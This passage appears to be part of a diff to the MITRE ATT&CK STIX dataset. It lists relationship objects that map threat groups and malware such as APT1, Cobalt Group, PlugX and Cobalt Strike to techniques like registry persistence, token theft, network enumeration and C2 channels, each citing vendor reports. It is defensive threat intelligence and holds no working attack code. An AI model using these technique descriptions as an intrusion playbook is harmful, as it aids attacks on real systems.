"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent victims a lure document with a warning that asked victims to \u201cenable content\u201d for execution.", + "type": "relationship", + "created": "2019-01-30T14:26:43.168Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2552aaa5-2cd7-4940-a428-220412851242", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.292Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses launchctl to enable screen sharing on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb371ea5-33c4-42e7-bcb0-3374240da553", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used the net use command to get a listing on network connections.", + "type": "relationship", + "created": "2019-01-30T15:33:07.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--886942af-c1e9-49e9-af7e-98d1899f3000", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.792Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can delete files from the system.", + "type": "relationship", + "created": "2019-01-30T15:43:19.404Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e0796d1-4bba-4e18-85fd-8e0d86bf8b35", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.186Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can walk through directories and recursively search for strings in files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75d124da-bb01-422f-bbf1-a472c841741b", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.988Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded and installed via an executed [Assess leadership areas of interest](https://attack.mitre.org/techniques/T1224) payload. [Cardinal RAT](https://attack.mitre.org/software/S0348) can also download and execute additional payloads.", + "type": "relationship", + "created": "2019-01-30T16:39:54.531Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e83c5c4-76f3-46a3-980f-0063069671cf", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.582Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can execute PowerShell scripts via DDE.", + "type": "relationship", + "created": "2019-01-30T17:33:40.982Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ac271fa-d3a7-40a6-8862-3eb73331ae99", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.759Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.", + "type": "relationship", + "created": "2019-01-30T17:48:35.646Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4990cf9a-9041-45c6-9d31-232ddb770341", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.646Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) sent spearphishing emails containing links to compromised websites where malware was downloaded.", + "type": "relationship", + "created": "2019-01-30T18:02:59.381Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d474ebe-5aff-4c13-92e6-afe04d6cefe0", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.847Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) adds the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon to establish persistence.", + "type": "relationship", + "created": "2019-01-30T18:58:04.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdc9c7e3-4467-4f57-af5b-156cf2f9d189", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.938Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has added persistence by registering the file name for the next stage malware under UserInitMprLogonScript.", + "type": "relationship", + "created": "2019-01-30T19:27:46.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f9283994-d216-4796-989d-a375eb4834a9", + "external_references": [ + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + } + ], + "modified": "2019-07-26T23:38:33.973Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) has several commands to search directories for files.", + "type": "relationship", + "created": "2019-01-30T20:01:45.464Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c3faa58-eb39-407a-8233-8f43f53aa777", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-04-24T20:56:04.656Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can launch cmd.exe to execute commands on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca3f0924-306a-409e-a1b6-135b781f3dbf", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A variant of [Elise](https://attack.mitre.org/software/S0081) executes dir C:\\progra~1 when initially run.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b", + "modified": "2019-04-17T22:12:24.878Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.845Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) uses custom encryption for C2 using 3DES and RSA.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec30b3a9-69b4-4604-9def-db9e904df309", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use HTTP or DNS for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6bf4098c-7667-44df-bdaa-076b9099f851", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-04-19T15:08:15.883Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) has used HTTP for C2, including sending error codes in Cookie headers.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00d1f959-5469-4a9c-b33d-93f315719a6c", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) prompts the user for their credentials.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31a72381-c672-404f-afd2-17bfb2aa3078", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WinMM](https://attack.mitre.org/software/S0059) is usually configured with primary and backup domains for C2 communications.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70a93fc8-83c0-4407-8224-ae447af1235a", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:45:45.253Z", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses scripts to enumerate IP ranges on the victim network. [menuPass](https://attack.mitre.org/groups/G0045) has also issued the command net view /domain to a [PlugX](https://attack.mitre.org/software/S0013) implant to gather information about remote systems on the network.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2019-06-28T15:24:32.189Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--093f8796-b394-490b-8048-115f4ee32959", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) identifies security software such as antivirus through the Security module.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "modified": "2019-06-06T14:35:54.012Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) performs timestomping of a CAB file it creates.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6deeb486-90c3-4279-8549-17c81ea2466b", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.890Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can execute a task to download a file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8db1b5bd-8f0c-4c13-8667-c83713ce799e", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) creates scheduled tasks to establish persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee5e40d0-f72e-4e0b-8b10-cd5c2057cdc0", + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to a remotely connected system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb866766-d3a5-46f6-9d0e-afc6bd1c7962", + "external_references": [ + { + "source_name": "TechNet Copy", + "description": "Microsoft. (n.d.). Copy. Retrieved April 26, 2016.", + "url": "https://technet.microsoft.com/en-us/library/bb490886.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfb7e335-e7a3-4dc3-91b8-70381a888222", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:34.024Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can steal access tokens from exiting processes and make tokens from known credentials.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6863078f-fe93-4b84-ad7f-dffe494d9265", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.472Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:01:20.684Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--57527643-2aef-4171-b61a-665ab8ed991b", + "external_references": [ + { + "source_name": "Symantec 